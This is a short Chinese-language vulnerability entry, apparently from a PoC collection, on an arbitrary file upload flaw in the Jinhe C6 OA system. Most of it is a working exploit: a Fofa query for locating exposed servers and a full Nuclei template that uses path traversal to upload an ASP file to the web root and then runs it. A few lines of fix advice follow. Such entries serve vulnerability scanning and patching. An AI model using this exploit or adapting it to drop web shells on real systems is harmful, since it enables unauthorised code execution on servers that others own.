# 金和-c6 uploadfileeditorsave 任意文件上传

## 漏洞描述

金和-c6 uploadfileeditorsave 任意文件上传，攻击者可通过此漏洞获取服务器权限。

## 漏洞复现

1. Fofa

app="金和网络-金和OA"



1. 界面如下



1. Nuclei

id: jinhe-c6-UploadFileEditorSave-fileupload

info:

name: jinhe-c6-UploadFileEditorSave-fileupload

author: m0be1

severity: high

variables:

filename: "{{to\_lower(rand\_base(10))}}"

boundary: "{{to\_lower(rand\_base(20))}}"

http:

- raw:

- |

POST /C6/Control/UploadFileEditorSave.aspx?filename=\....\....\C6\{{filename}}.asp HTTP/1.1

Host: {{Hostname}}

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

Content-Type: multipart/form-data; boundary=----{{boundary}}

------{{boundary}}

Content-Disposition: form-data; name="file"; filename="{{filename}}.jpg"

Content-Type: image/png

<% response.write(111\*111)

set myfso=server.CreateObject("scripting.filesystemobject")

myfso.DeleteFile(Server.MapPath("{{filename}}.asp"))%>

------{{boundary}}--

- |

GET /C6/{{filename}}.asp HTTP/1.1

Host: {{Hostname}}

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

matchers:

- type: dsl

dsl:

- status\_code==200 && contains\_all(body,"12321")

## 修复建议

1. 升级到安全版本

2、如非必要，禁止公网访问该系统。

3、设置白名单访问。